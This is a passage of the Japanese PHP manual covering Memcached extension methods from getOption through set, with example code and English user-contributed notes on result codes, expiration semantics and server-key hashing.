パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

keys

取得したいキーの配列。

flags

取得操作のフラグ。

返り値

見つかったアイテムの配列、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

変更履歴

バージョン | 説明
PECL memcached 3.0.0 | &cas_tokens パラメータは削除されました。 また、Memcached::GET_EXTENDED が追加され、 それがフラグとして渡された時にCASトークンを取得することを保証するようになりました。

参考

  • Memcached::getMulti() - 複数のアイテムを取得する
  • Memcached::get() - アイテムを取得する
  • Memcached::getDelayed() - 複数のアイテムを要求する

User Contributed Notes

There are no user contributed notes for this page.


Memcached のオプションの値を取得する

  • ≪ Memcached::getMultiByKey
  • Memcached::getResultCode ≫
  • PHP Manual
  • Memcached
  • Memcached のオプションの値を取得する

Memcached::getOption

(PECL memcached >= 0.1.0)

Memcached::getOption — Memcached のオプションの値を取得する

説明

public Memcached::getOption ( int $option ) : mixed

このメソッドは、Memcached のオプションの値を返します。 libmemcached で定義されているオプションに対応するものもあれば、 この拡張モジュールに固有のものもあります。詳細な情報は Memcached 定数 を参照ください。

パラメータ

option

Memcached::OPT_* 定数のいずれか。

返り値

要求されたオプションの値、あるいはエラー時に false を返します。

例

例1 Memcached オプションの取得

<?php
$m = new Memcached();
var_dump($m->getOption(Memcached::OPT_COMPRESSION));
var_dump($m->getOption(Memcached::OPT_POLL_TIMEOUT));
?>

上の例の出力は、 たとえば以下のようになります。

bool(true)
int(1000)

参考

  • Memcached::getOption()
  • Memcached::setOption() - Memcached のオプションの値を設定する
  • Memcached 定数

User Contributed Notes

There are no user contributed notes for this page.


直近の操作の結果コードを返す

  • ≪ Memcached::getOption
  • Memcached::getResultMessage ≫
  • PHP Manual
  • Memcached
  • 直近の操作の結果コードを返す

Memcached::getResultCode

(PECL memcached >= 0.1.0)

Memcached::getResultCode — 直近の操作の結果コードを返す

説明

public Memcached::getResultCode ( ) : int

Memcached::getResultCode() は Memcached::RES_* 定数のいずれかを返します。 これは、直近に実行された Memcached メソッドの結果を表します。

パラメータ

この関数にはパラメータはありません。

返り値

直近の Memcached 操作の結果コードを返します。

例

例1 Memcached::getResultCode() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar');
if ($m->getResultCode() == Memcached::RES_NOTSTORED) {
    /* ... */
}
?>

User Contributed Notes

Anonymous 09-Jul-2013 12:56
00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
fredrik at neam dot se 27-Jul-2011 02:43
A more up to date and correct list of the result codes (Note that ERR_NO maps to 26 not 25 as stated above):

Memcached::OPT_COMPRESSION - -1001
Memcached::OPT_SERIALIZER - -1003
Memcached::SERIALIZER_PHP - 1
Memcached::SERIALIZER_IGBINARY - 2
Memcached::SERIALIZER_JSON - 3
Memcached::OPT_PREFIX_KEY - -1002
Memcached::OPT_HASH - 2
Memcached::HASH_DEFAULT - 0
Memcached::HASH_MD5 - 1
Memcached::HASH_CRC - 2
Memcached::HASH_FNV1_64 - 3
Memcached::HASH_FNV1A_64 - 4
Memcached::HASH_FNV1_32 - 5
Memcached::HASH_FNV1A_32 - 6
Memcached::HASH_HSIEH - 7
Memcached::HASH_MURMUR - 8
Memcached::OPT_DISTRIBUTION - 9
Memcached::DISTRIBUTION_MODULA - 0
Memcached::DISTRIBUTION_CONSISTENT - 1
Memcached::OPT_LIBKETAMA_COMPATIBLE - 16
Memcached::OPT_BUFFER_WRITES - 10
Memcached::OPT_BINARY_PROTOCOL - 18
Memcached::OPT_NO_BLOCK - 0
Memcached::OPT_TCP_NODELAY - 1
Memcached::OPT_SOCKET_SEND_SIZE - 4
Memcached::OPT_SOCKET_RECV_SIZE - 5
Memcached::OPT_CONNECT_TIMEOUT - 14
Memcached::OPT_RETRY_TIMEOUT - 15
Memcached::OPT_SEND_TIMEOUT - 19
Memcached::OPT_RECV_TIMEOUT - 15
Memcached::OPT_POLL_TIMEOUT - 8
Memcached::OPT_CACHE_LOOKUPS - 6
Memcached::OPT_SERVER_FAILURE_LIMIT - 21
Memcached::HAVE_IGBINARY - #&UNDEFINED;#
Memcached::HAVE_JSON - #&UNDEFINED;#
Memcached::GET_PRESERVE_ORDER - 1
Memcached::RES_SUCCESS - 0
Memcached::RES_FAILURE - 1
Memcached::RES_HOST_LOOKUP_FAILURE - 2
Memcached::RES_UNKNOWN_READ_FAILURE - 7
Memcached::RES_PROTOCOL_ERROR - 8
Memcached::RES_CLIENT_ERROR - 9
Memcached::RES_SERVER_ERROR - 10
Memcached::RES_WRITE_FAILURE - 5
Memcached::RES_DATA_EXISTS - 12
Memcached::RES_NOTSTORED - 14
Memcached::RES_NOTFOUND - 16
Memcached::RES_PARTIAL_READ - 18
Memcached::RES_SOME_ERRORS - 19
Memcached::RES_NO_SERVERS - 20
Memcached::RES_END - 21
Memcached::RES_ERRNO - 26
Memcached::RES_BUFFERED - 32
Memcached::RES_TIMEOUT - 31
Memcached::RES_BAD_KEY_PROVIDED - 33
Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE - 11
Memcached::RES_PAYLOAD_FAILURE - -1001


最後に実行した操作の結果を説明したメッセージを返す。

  • ≪ Memcached::getResultCode
  • Memcached::getServerByKey ≫
  • PHP Manual
  • Memcached
  • 最後に実行した操作の結果を説明したメッセージを返す。

Memcached::getResultMessage

(PECL memcached >= 1.0.0)

Memcached::getResultMessage — 最後に実行した操作の結果を説明したメッセージを返す。

説明

public Memcached::getResultMessage ( ) : string

Memcached::getResultMessage()メソッドは、最後に実行した Memcached クラスのメソッドの結果コードの内容を説明した文字列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

最後に実行した Memcached クラスの操作結果を説明したメッセージ

例

例1 Memcached::getResultMessage()メソッドの例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->add('foo', 'bar'); // first time should succeed
$m->add('foo', 'bar');
echo $m->getResultMessage(),"\n";
?>

上の例の出力は以下となります。

NOT STORED

User Contributed Notes

There are no user contributed notes for this page.


キーとサーバーを関連付ける

  • ≪ Memcached::getResultMessage
  • Memcached::getServerList ≫
  • PHP Manual
  • Memcached
  • キーとサーバーを関連付ける

Memcached::getServerByKey

(PECL memcached >= 0.1.0)

Memcached::getServerByKey — キーとサーバーを関連付ける

説明

public Memcached::getServerByKey ( string $server_key ) : array

Memcached::getServerByKey() は、 Memcached::*ByKey() 系の操作で指定された server_key に対応するサーバーを返します。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

返り値

成功した場合に配列を返します。この配列には host、 port そして weight の三つのキーが含まれます。 失敗した場合は false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

例

例1 Memcached::getServerByKey() の例

<?php
$m = new Memcached();
$m->addServers(array(
    array('mem1.domain.com', 11211, 40),
    array('mem2.domain.com', 11211, 40),
    array('mem3.domain.com', 11211, 20),
));

$m->setOption(Memcached::OPT_LIBKETAMA_COMPATIBLE, true);

var_dump($m->getServerByKey('user'));
var_dump($m->getServerByKey('log'));
var_dump($m->getServerByKey('ip'));
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["host"]=>
  string(15) "mem3.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(20)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}
array(3) {
  ["host"]=>
  string(15) "mem2.domain.com"
  ["port"]=>
  int(11211)
  ["weight"]=>
  int(40)
}

User Contributed Notes

morphles 17-Mar-2016 08:51
Just to clarify (as documentation of memcached, even for C lib, frankly is quite lacking), $server_key is hashed using same method as regular keys for values (I checked C source, as again docs......). So you should be able to see where set($key, $value) goes by using getServerByKey($key) with same key. This can be useful if one does not wish to bother with using/has no need to use *ByKey functions, but still want to know which servers are/should be used with regular keys, for implementing fallback or failure reporting.
zhaoyong dot lc at gmail dot com 29-Mar-2013 06:32
The parameter server_key is very confusing, it's not a server key for MemCached Server, but it's key,in key-value pair which you stored in server.

<?php
$m = new Memcached;
$m->addServers(array(
    array('127.0.0.1',11212),
    array('127.0.0.1',11211)
));
for($i=0;$i<10;$i++){
    $key = 'key_'.$i;
    $m->add($key, 1);
}
for($i=0;$i<10;$i++) {
    $key = 'key_'.$i;
    $arr = $m->getServerByKey($key);
    echo ($key.":\t".$arr['port']."\n");
}
?>

key_0:  11212
key_1:  11211
key_2:  11212
key_3:  11212
key_4:  11212
key_5:  11211
key_6:  11211
key_7:  11212
key_8:  11212
key_9:  11211


プール内のサーバーの一覧を取得する

  • ≪ Memcached::getServerByKey
  • Memcached::getStats ≫
  • PHP Manual
  • Memcached
  • プール内のサーバーの一覧を取得する

Memcached::getServerList

(PECL memcached >= 0.1.0)

Memcached::getServerList — プール内のサーバーの一覧を取得する

説明

public Memcached::getServerList ( ) : array

Memcached::getServerList() は、 サーバープール内のすべてのサーバーの一覧を返します。

パラメータ

この関数にはパラメータはありません。

返り値

サーバープール内のすべてのサーバーの一覧を返します。

例

例1 Memcached::getServerList() の例

<?php
$m = new Memcached();
$m->addServers(array(
    array('mem1.domain.com', 11211, 20),
    array('mem2.domain.com', 11311, 80),
));
var_dump($m->getServerList());
?>

上の例の出力は以下となります。

array(2) {
  [0]=>
  array(3) {
    ["host"]=>
    string(15) "mem1.domain.com"
    ["port"]=>
    int(11211)
    ["weight"]=>
    int(20)
  }
  [1]=>
  array(3) {
    ["host"]=>
    string(15) "mem2.domain.com"
    ["port"]=>
    int(11311)
    ["weight"]=>
    int(80)
  }
}

User Contributed Notes

rynop 21-Jan-2013 02:58
This method no longer returns 'weight' in v2.1.0: https://github.com/php-memcached-dev/php-memcached/pull/56


サーバープールの統計情報を取得する

  • ≪ Memcached::getServerList
  • Memcached::getVersion ≫
  • PHP Manual
  • Memcached
  • サーバープールの統計情報を取得する

Memcached::getStats

(PECL memcached >= 0.1.0)

Memcached::getStats — サーバープールの統計情報を取得する

説明

public Memcached::getStats ( ) : array|false

Memcached::getStats() は、 すべての memcache サーバーの状態を含む配列を返します。 その詳細については、» memcache プロトコル の仕様を参照ください。

パラメータ

この関数にはパラメータはありません。

返り値

サーバーの統計情報の配列を返します。サーバーごとにひとつのエントリとなります。 失敗した場合に false を返します

例

例1 Memcached::getStats() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getStats());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [localhost:11211] => Array
        (
            [pid] => 4933
            [uptime] => 786123
            [threads] => 1
            [time] => 1233868010
            [pointer_size] => 32
            [rusage_user_seconds] => 0
            [rusage_user_microseconds] => 140000
            [rusage_system_seconds] => 23
            [rusage_system_microseconds] => 210000
            [curr_items] => 145
            [total_items] => 2374
            [limit_maxbytes] => 67108864
            [curr_connections] => 2
            [total_connections] => 151
            [connection_structures] => 3
            [bytes] => 20345
            [cmd_get] => 213343
            [cmd_set] => 2381
            [get_hits] => 204223
            [get_misses] => 9120
            [evictions] => 0
            [bytes_read] => 9092476
            [bytes_written] => 15420512
            [version] => 1.2.6
        )

)

User Contributed Notes

Anonymous 13-Mar-2017 07:59
new url for memcache protocol documents.
https://github.com/memcached/memcached/blob/master/doc/protocol.txt
billfeller at gmail dot com 31-Oct-2013 08:27
the link to memcache protocol is out date. the new link is https://github.com/facebook/memcached/blob/master/doc/protocol.txt
ar knownat plista with com 17-Dec-2009 11:13
The method currently does not support the optional (and subject to change) type parameter for the stats command:
 - "items", "sizes", "slabs"

The documentation for the optional parameters can be found here (sections below General-purpose statistics):
http://code.sixapart.com/svn/memcached/trunk/server/doc/protocol.txt

The Memcache Extension can be uses to retrieve that information:
http://www.php.net/manual/en/function.memcache-getstats.php


サーバープールのバージョン情報を取得する

  • ≪ Memcached::getStats
  • Memcached::increment ≫
  • PHP Manual
  • Memcached
  • サーバープールのバージョン情報を取得する

Memcached::getVersion

(PECL memcached >= 0.1.5)

Memcached::getVersion — サーバープールのバージョン情報を取得する

説明

public Memcached::getVersion ( ) : array

Memcached::getVersion() は、全ての利用可能な memcached サーバーのバージョン情報を含んだ配列を返します。

パラメータ

この関数にはパラメータはありません。

返り値

memcached サーバーのバージョン情報の配列。サーバーひとつにつき配列の要素一つが割り当てられます。

例

例1 Memcached::getVersion() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

print_r($m->getVersion());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [localhost:11211] => 1.2.6
)

User Contributed Notes

Mads Madsen 01-Mar-2013 09:50
Was going mad, I figured getStatus() would return false on servers not responding. This is however not true, it will return:
array(1) {
  ["127.0.0.1:11112"]=>
  string(11) "255.255.255"
}
On a failed connection.


数値アイテムの値を増やす

  • ≪ Memcached::getVersion
  • Memcached::incrementByKey ≫
  • PHP Manual
  • Memcached
  • 数値アイテムの値を増やす

Memcached::increment

(PECL memcached >= 0.1.0)

Memcached::increment — 数値アイテムの値を増やす

説明

public Memcached::increment ( string $key , int $offset = 1 , int $initial_value = 0 , int $expiry = 0 ) : int|false

Memcached::increment() は、数値アイテムの値を offset で指定しただけ増やします。 アイテムの値が数値でない場合はエラーとなります。 アイテムが存在しない場合、Memcached::increment() は値を initial_value に設定します。

パラメータ

key

増やしたいアイテムのキー。

offset

値を増やしたい量。

initial_value

そのアイテムが存在しない場合に設定する値。

expiry

そのアイテムに設定する有効期限。

返り値

成功した場合にアイテムの新しい値、失敗した場合に false を返します。

例

例1 Memcached::increment() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('counter', 0);
$m->increment('counter');
$n = $m->increment('counter', 10);
var_dump($n);

$m->set('counter', 'abc');
$n = $m->increment('counter');
// アイテムの値が数値でないので、これは失敗します
var_dump($n);
?>

上の例の出力は以下となります。

int(11)
bool(false)

参考

  • Memcached::decrement() - 数値アイテムの値を減らす
  • Memcached::decrementByKey() - 指定したサーバー上にある数値アイテムの値を減らす
  • Memcached::incrementByKey() - 指定したサーバー上にある数値アイテムの値を増やす

User Contributed Notes

Anonymous 17-Aug-2013 11:46
If it'll save others some head-scratching, the PECL Memcached extension only supports initializing increment (or decrement) values from 2.0.0b2 onwards - i.e. not the version (1.0.2) that comes out of the box with Ubuntu 12.04.
Anonymous 23-Jan-2013 08:27
Spent a long time frustrated with this.  If you read the patch notes carefully:

- Make increment/decrement initialize value when it is not available (when using binary protocol).

If you dont have the opt binary protocol set the arguments for initial value just return an error 38 - INVALID ARGUMENTS. This is not documented.
jbaginski 18-Jan-2013 07:29
PECL memcached < 0.2.0

public int Memcached::increment ( string $key [, int $offset = 1 ] )
Sam 30-Jun-2012 12:50
increment does not alter the time to live of the object.


指定したサーバー上にある数値アイテムの値を増やす

  • ≪ Memcached::increment
  • Memcached::isPersistent ≫
  • PHP Manual
  • Memcached
  • 指定したサーバー上にある数値アイテムの値を増やす

Memcached::incrementByKey

(PECL memcached >= 2.0.0)

Memcached::incrementByKey — 指定したサーバー上にある数値アイテムの値を増やす

説明

public Memcached::incrementByKey ( string $server_key , string $key , int $offset = 1 , int $initial_value = 0 , int $expiry = 0 ) : int|false

Memcached::incrementByKey() は、数値アイテムの値を offset で指定しただけ増やします。 アイテムの値が数値でない場合はエラーとなります。 アイテムが存在しない場合、Memcached::incrementByKey() は値を initial_value に設定します。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

増やしたいアイテムのキー。

offset

値を増やしたい量。

initial_value

そのアイテムが存在しない場合に設定する値。

expiry

そのアイテムに設定する有効期限。

返り値

成功した場合にアイテムの新しい値、失敗した場合に false を返します。

参考

  • Memcached::decrement() - 数値アイテムの値を減らす
  • Memcached::decrementByKey() - 指定したサーバー上にある数値アイテムの値を減らす
  • Memcached::increment() - 数値アイテムの値を増やす

User Contributed Notes

There are no user contributed notes for this page.


memcache への接続で持続的接続を使っているかどうかを調べる

  • ≪ Memcached::incrementByKey
  • Memcached::isPristine ≫
  • PHP Manual
  • Memcached
  • memcache への接続で持続的接続を使っているかどうかを調べる

Memcached::isPersistent

(PECL memcached >= 2.0.0)

Memcached::isPersistent — memcache への接続で持続的接続を使っているかどうかを調べる

説明

public Memcached::isPersistent ( ) : bool

Memcached::isPersistent() は、 memcache サーバーへの接続が持続的接続かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

Memcache インスタンスが持続的接続を使っている場合に true、それ以外の場合に false を返します。

参考

  • Memcached::isPristine() - 直近に作られたインスタンスかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


直近に作られたインスタンスかどうかを調べる

  • ≪ Memcached::isPersistent
  • Memcached::prepend ≫
  • PHP Manual
  • Memcached
  • 直近に作られたインスタンスかどうかを調べる

Memcached::isPristine

(PECL memcached >= 2.0.0)

Memcached::isPristine — 直近に作られたインスタンスかどうかを調べる

説明

public Memcached::isPristine ( ) : bool

Memcached::isPristine() は、その Memcache インスタンスが直近に作られたものかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

直近に作られたインスタンスである場合に true、それ以外の場合に false を返します。

参考

  • Memcached::isPersistent() - memcache への接続で持続的接続を使っているかどうかを調べる

User Contributed Notes

vick dot qi at yahoo dot com 26-Jul-2016 03:37
From the source code of contructor, the "recently" means the connection to server of the instence is recently created, that is the instance was created without a persistent_id parameter or the first to use the persistent_id.

For instance, the gives a bool(true):

$memcached = new Memcached();
$isPristine = $memcached->isPristine();
var_dump($isPristine);

This also gives a bool(true):

$memcached = new Memcached('pid1');
$isPristine = $memcached->isPristine();
var_dump($isPristine);

while this gives a bool(false):

$memcached = new Memcached('pid1');
$memcached2 = new Memcached('pid1');
$isPristine = $memcached2->isPristine();
var_dump($isPristine);
gerben at gerbs dot net 24-Dec-2015 10:18
How is the return value determined? What is the definition of 'recently'? Does this function return true if the item was stored using the current connection?


既存のアイテムの前にデータを付加する

  • ≪ Memcached::isPristine
  • Memcached::prependByKey ≫
  • PHP Manual
  • Memcached
  • 既存のアイテムの前にデータを付加する

Memcached::prepend

(PECL memcached >= 0.1.0)

Memcached::prepend — 既存のアイテムの前にデータを付加する

説明

public Memcached::prepend ( string $key , string $value ) : bool

Memcached::prepend() は、指定した文字列 value を既存のアイテムの前に付加します。 value を文字列に強制変換する理由は、 異なる型を付加した場合の挙動が定義されていないからです。

注意:

Memcached::OPT_COMPRESSION が有効になっている場合は、 この操作は失敗して警告が発せられます。 すでに圧縮されている可能性のあるデータの先頭に圧縮したデータを付加することはできないからです。

パラメータ

key

データを先頭に付加したいアイテムのキー。

value

先頭に付加する文字列。

返り値

成功した場合に true を、失敗した場合に false を返します。 Memcached::getResultCode() は、キーが存在しない場合に Memcached::RES_NOTSTORED を返します。

例

例1 Memcached::prepend() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$m->setOption(Memcached::OPT_COMPRESSION, false);

$m->set('foo', 'abc');
$m->prepend('foo', 'def');
var_dump($m->get('foo'));
?>

上の例の出力は以下となります。

string(6) "defabc"

参考

  • Memcached::prependByKey() - 指定したサーバーで既存のアイテムの前にデータを付加する
  • Memcached::append() - データを既存のアイテムに追記する

User Contributed Notes

There are no user contributed notes for this page.


指定したサーバーで既存のアイテムの前にデータを付加する

  • ≪ Memcached::prepend
  • Memcached::quit ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーで既存のアイテムの前にデータを付加する

Memcached::prependByKey

(PECL memcached >= 0.1.0)

Memcached::prependByKey — 指定したサーバーで既存のアイテムの前にデータを付加する

説明

public Memcached::prependByKey ( string $server_key , string $key , string $value ) : bool

Memcached::prependByKey() は機能的に Memcached::prepend() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

データを先頭に付加したいアイテムのキー。

value

先頭に付加する文字列。

返り値

成功した場合に true を、失敗した場合に false を返します。 Memcached::getResultCode() は、キーが存在しない場合に Memcached::RES_NOTSTORED を返します。

参考

  • Memcached::prepend() - 既存のアイテムの前にデータを付加する
  • Memcached::append() - データを既存のアイテムに追記する

User Contributed Notes

There are no user contributed notes for this page.


開いている接続を閉じる

  • ≪ Memcached::prependByKey
  • Memcached::replace ≫
  • PHP Manual
  • Memcached
  • 開いている接続を閉じる

Memcached::quit

(PECL memcached >= 2.0.0)

Memcached::quit — 開いている接続を閉じる

説明

public Memcached::quit ( ) : bool

Memcached::quit() は、memcache サーバーとの接続をすべて閉じます。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

User Contributed Notes

There are no user contributed notes for this page.


既存のキーのアイテムを入れ替える

  • ≪ Memcached::quit
  • Memcached::replaceByKey ≫
  • PHP Manual
  • Memcached
  • 既存のキーのアイテムを入れ替える

Memcached::replace

(PECL memcached >= 0.1.0)

Memcached::replace — 既存のキーのアイテムを入れ替える

説明

public Memcached::replace ( string $key , mixed $value , int $expiration = ? ) : bool

Memcached::replace() は Memcached::set() と同等ですが、キー key がサーバー上にない場合は失敗します。

パラメータ

key

値の格納先のキー。

value

格納する値。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 キーが存在しない場合、 Memcached::getResultCode() は Memcached::RES_NOTSTORED を返します。

参考

  • Memcached::replaceByKey() - 指定したサーバーで既存のキーのアイテムを入れ替える
  • Memcached::set() - アイテムを格納する
  • Memcached::add() - アイテムを新しいキーで追加する

User Contributed Notes

There are no user contributed notes for this page.


指定したサーバーで既存のキーのアイテムを入れ替える

  • ≪ Memcached::replace
  • Memcached::resetServerList ≫
  • PHP Manual
  • Memcached
  • 指定したサーバーで既存のキーのアイテムを入れ替える

Memcached::replaceByKey

(PECL memcached >= 0.1.0)

Memcached::replaceByKey — 指定したサーバーで既存のキーのアイテムを入れ替える

説明

public Memcached::replaceByKey ( string $server_key , string $key , mixed $value , int $expiration = ? ) : bool

Memcached::replaceByKey() は機能的に Memcached::replace() と同等です。しかし、自由形式の server_key を使用して、 key を特定のサーバーに関連付けることができます。 これは、関連するキーを特定のサーバーに置き続けたいときなどに便利です。

パラメータ

server_key

値を格納したりデータを取得したりするサーバーを表すキー。 アイテムの実際のキーをハッシュするかわりにサーバーのキーをハッシュして、どの memcached サーバーとやりとりするのか選びます。 これで、関連するアイテムを一つのサーバーにまとめられるようになり、マルチ操作の効率が上がります。

key

値の格納先のキー。

value

格納する値。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 キーが存在しない場合、 Memcached::getResultCode() は Memcached::RES_NOTSTORED を返します。

参考

  • Memcached::replace() - 既存のキーのアイテムを入れ替える
  • Memcached::set() - アイテムを格納する
  • Memcached::add() - アイテムを新しいキーで追加する

User Contributed Notes

There are no user contributed notes for this page.


サーバーリストからすべてのサーバーを消去する

  • ≪ Memcached::replaceByKey
  • Memcached::set ≫
  • PHP Manual
  • Memcached
  • サーバーリストからすべてのサーバーを消去する

Memcached::resetServerList

(PECL memcached >= 2.0.0)

Memcached::resetServerList — サーバーリストからすべてのサーバーを消去する

説明

public Memcached::resetServerList ( ) : bool

Memcached::resetserverlist() は、 サーバーリストからすべての memcache サーバーを削除し、サーバーリストを空にします。

パラメータ

この関数にはパラメータはありません。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • Memcached::addServer() - サーバーをサーバープールに追加する
  • Memcached::addServers() - 複数のサーバーをサーバープールに追加する

User Contributed Notes

There are no user contributed notes for this page.


アイテムを格納する

  • ≪ Memcached::resetServerList
  • Memcached::setByKey ≫
  • PHP Manual
  • Memcached
  • アイテムを格納する

Memcached::set

(PECL memcached >= 0.1.0)

Memcached::set — アイテムを格納する

説明

public Memcached::set ( string $key , mixed $value , int $expiration = ? ) : bool

Memcached::set() は、 指定したキー key で memcache サーバー上に value を格納します。 expiration パラメータで、 この値をいつ有効期限切れにするのかを制御することができます。

値に指定できるのは、リソース型以外の PHP の任意の型です。 リソース型はシリアライズすることができないため、使用することができません。 Memcached::OPT_COMPRESSION オプションをオンにすると、 シリアライズしたデータを格納する前に圧縮を行います。

パラメータ

key

値の格納先のキー。

value

格納する値。

expiration

期限切れとなるまでの時間。デフォルトは 0。詳細な情報は有効期限 を参照ください。

返り値

成功した場合に true を、失敗した場合に false を返します。 必要に応じて Memcached::getResultCode() を使用しましょう。

例

例1 Memcached::set() の例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$m->set('int', 99);
$m->set('string', 'a simple string');
$m->set('array', array(11, 12));
/* expire 'object' key in 5 minutes */
$m->set('object', new stdclass, time() + 300);

var_dump($m->get('int'));
var_dump($m->get('string'));
var_dump($m->get('array'));
var_dump($m->get('object'));
?>

上の例の出力は、 たとえば以下のようになります。

int(99)
string(15) "a simple string"
array(2) {
  [0]=>
  int(11)
  [1]=>
  int(12)
}
object(stdClass)#1 (0) {
}

参考

  • Memcached::setByKey() - 指定したサーバーにアイテムを格納する
  • Memcached::add() - アイテムを新しいキーで追加する
  • Memcached::replace() - 既存のキーのアイテムを入れ替える

User Contributed Notes

HaxxxxaH 05-May-2016 05:44
@PeterN

You said that this was wrong:
$m->set('object', new stdclass, time() + 300);

And instead this is the correct way:
$m->set('object', new stdclass, 300);

When actually, they are both correct. Expiration looks at the time given, if the number is less than or equal to 30 days(60 * 60 * 24 * 30 = 2,592,000), then it expires in that many seconds. If the number is greater than 30 days, then it expires at that UNIX time.
PeterN 16-Oct-2015 11:48
In the example it shows:

/* expire 'object' key in 5 minutes */
$m->set('object', new stdclass, time() + 300);

But this is wrong.
It will not expire, at least, not for a long long time.
So instead of time() + seconds, you use:
$m->set('object', new stdclass, 300);
And it will correctly expire after 5 minutes.

Note: Using memcached 2.1.0 stable through PECL.
Anonymous 18-Mar-2014 03:22
00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
